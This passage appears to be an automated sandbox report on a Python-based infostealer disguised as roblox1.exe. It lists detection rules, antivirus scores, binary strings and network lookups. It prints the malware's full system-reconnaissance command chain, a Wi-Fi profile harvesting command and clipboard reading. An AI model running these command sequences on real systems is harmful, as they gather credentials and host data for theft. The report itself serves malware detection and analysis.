tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5224, ParentProcessName: cmd.exe, ProcessCommandLine: net localgroup administrators, ProcessId: 2788, ProcessName: net.exe

Sigma detected: Local Accounts Discovery

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: net user, CommandLine: net user, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5224, ParentProcessName: cmd.exe, ProcessCommandLine: net user, ProcessId: 6120, ProcessName: net.exe

Sigma detected: Net.exe Execution

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net user, CommandLine: net user, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5224, ParentProcessName: cmd.exe, ProcessCommandLine: net user, ProcessId: 6120, ProcessName: net.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe Get-Clipboard, CommandLine: powershell.exe Get-Clipboard, CommandLine|base64offset|contains: ~Xn, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6488, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe Get-Clipboard, ProcessId: 5960, ProcessName: powershell.exe

Sigma detected: SC.EXE Query Execution

Source: Process started

Author: frack113: Data: Command: sc query type= service state= all, CommandLine: sc query type= service state= all, CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5224, ParentProcessName: cmd.exe, ProcessCommandLine: sc query type= service state= all, ProcessId: 7116, ProcessName: sc.exe

Sigma detected: Suspicious Execution of Hostname

Source: Process started

Author: frack113: Data: Command: hostname, CommandLine: hostname, CommandLine|base64offset|contains: -, Image: C:\Windows\System32\HOSTNAME.EXE, NewProcessName: C:\Windows\System32\HOSTNAME.EXE, OriginalFileName: C:\Windows\System32\HOSTNAME.EXE, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5224, ParentProcessName: cmd.exe, ProcessCommandLine: hostname, ProcessId: 5836, ProcessName: HOSTNAME.EXE

Sigma detected: Suspicious Network Command

Source: Process started

Author: frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io': Data: Command: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", CommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Users\user\Desktop\roblox1.exe, ParentImage: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe, ParentProcessId: 3428, ParentProcessName: stub.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ##

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles", CommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Users\user\Desktop\roblox1.exe, ParentImage: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe, ParentProcessId: 3428, ParentProcessName: stub.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles", ProcessId: 6168, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	ReversingLabs: Detection: 70%

Multi AV Scanner detection for submitted file

Source: roblox1.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: roblox1.exe

Joe Sandbox ML: detected

Phishing

Overwrites the password of the administrator account

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator

Source: roblox1.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: C:\A\40\b\bin\amd64\sqlite3.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cryptography_rust.pdbc source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ossl_ec_GFp_simple_group_set_curvecrypto\ec\ecp_smpl.cossl_ec_GFp_simple_group_check_discriminantossl_ec_GFp_simple_point_set_affine_coordinatesossl_ec_GFp_simple_point_get_affine_coordinatesossl_ec_GFp_simple_make_affineossl_ec_GFp_simple_points_make_affineossl_ec_GFp_simple_field_invossl_ec_GFp_simple_blind_coordinatescrypto\buffer\buffer.cBUF_MEM_growBUF_MEM_grow_cleancompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specific.dllCPUINFO: crypto\initthread.cOPENSSL_ia32cap` source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B301567000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1953260784.00007FFBA9EE5000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_uuid.pdb source: stub.exe, 00000003.00000002.1965068421.00007FFBBBE92000.00000002.00000001.01000000.00000020.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: roblox1.exe, 00000000.00000003.1539994673.000001B3013F1000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1954163213.00007FFBAA16F000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\python3.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1945909540.00000213BE720000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_ctypes.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1965877888.00007FFBBC260000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_queue.pdb source: stub.exe, 00000003.00000002.1964238411.00007FFBBB553000.00000002.00000001.01000000.00000025.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_sqlite3.pdb source: stub.exe, 00000003.00000002.1964051788.00007FFBBAF4C000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\python310.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1961361267.00007FFBAAD33000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1n 15 Mar 2022built on: Tue Mar 15 18:32:50 2022 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: roblox1.exe, 00000000.00000003.1539994673.000001B3013F1000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1954163213.00007FFBAA16F000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: k1k2k3X9_62_PENTANOMIALp.otherp.onBasisp.tpBasisp.ppBasismX9_62_CHARACTERISTIC_TWOp.primep.char_twofieldTypeX9_62_FIELDIDX9_62_CURVEfieldIDcurvebaseECPARAMETERSvalue.named_curvevalue.parametersvalue.implicitlyCAECPKPARAMETERSprivateKeyparameterspublicKeyEC_PRIVATEKEYec_asn1_group2fieldidcrypto\ec\ec_asn1.cec_asn1_group2curveEC_GROUP_get_ecparametersEC_GROUP_get_ecpkparametersEC_GROUP_new_from_ecparametersEC_GROUP_new_from_ecpkparametersi2d_ECPKParametersd2i_ECPrivateKeyi2d_ECPrivateKeyi2d_ECParametersd2i_ECParameterso2i_ECPublicKeyi2o_ECPublicKeycompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"3.3.2built on: Tue Sep 3 19:22:24 2024 UTCplatform: VC-WIN64AOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availablecrypto\init.cOPENSSL_init_cryptocrypto\bio\bio_lib.cBIO_new_exbio_read_internbio_write_internBIO_sendmmsgBIO_recvmmsgBIO_putsBIO_getsBIO_get_line BIO_ctrlBIO_callback_ctrlBIO_find_type source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_asyncio.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1963452510.00007FFBB5C17000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\select.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1966370178.00007FFBBC9F3000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\unicodedata.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1952475865.00007FFBA9E5C000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: roblox1.exe, 00000000.00000003.1539994673.000001B301567000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1953260784.00007FFBA9EE5000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_ssl.pdb source: stub.exe, 00000003.00000002.1963629139.00007FFBB5CBD000.00000002.00000001.01000000.00000012.sdmp, stub.exe, 00000003.00000003.1552093383.00000213BE4C3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cryptography_rust.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_bz2.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_hashlib.pdb source: stub.exe, 00000003.00000002.1965708695.00007FFBBC246000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: stub.exe, 00000003.00000002.1954163213.00007FFBAA1F1000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\pyexpat.pdb source: roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp

Spreading

Performs a network lookup / discovery via ARP

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a

Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_1364_133790045022616316\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales	Jump to behavior

Networking

Uses netstat to query active network connections and open ports

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano

Source: Joe Sandbox View

IP Address: 208.95.112.1 208.95.112.1

Source: unknown

DNS query: name: ip-api.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /json HTTP/1.1Host: ip-api.comAccept: */*Accept-Encoding: gzip, deflateUser-Agent: Python/3.10 aiohttp/3.10.5

Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: restores.name

Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1551783756.00000213BE51D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: roblox1.exe, 00000000.00000003.1539994673.000001B3014E9000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B301C9A000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B301922000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, roblox1.exe, 00000000.00000003.1539994673.000001B30158A000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1551783756.00000213BE51D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: roblox1.exe, 00000000.00000003.1539994673.000001B300A2B000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000000.1547789745.00007FF7D06EF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: stub.exe, 00000003.00000003.1936161103.00000213BEEF2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1935734211.00000213BEEE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.certigna.fr/certignarootca.crl01
Source: stub.exe, 00000003.00000002.1945050010.00000213BE410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: stub.exe, 00000003.00000003.1938094967.00000213BE55C000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1941240820.00000213BE5C4000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.1945425937.00000213BE5CB000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937231343.00000213BE18E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl
Source: stub.exe, 00000003.00000003.1937485075.00000213BED4E000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1939941508.00000213BED89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl0
Source: stub.exe, 00000003.00000003.1936161103.00000213BEEF2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1935734211.00000213BEEE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crl
Source: stub.exe, 00000003.00000003.1938775730.00000213BED9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl
Source: stub.exe, 00000003.00000003.1938775730.00000213BED9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl.exe
Source: stub.exe, 00000003.00000002.1943984108.00000213BE1BF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937231343.00000213BE1BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: stub.exe, 00000003.00000003.1938775730.00000213BED9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl
Source: stub.exe, 00000003.00000002.1943984108.00000213BE1BF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.1937231343.00000213BE1BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: stub.exe, 00000003.00000003.1938775730.00000213BED9C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crlsnippet&
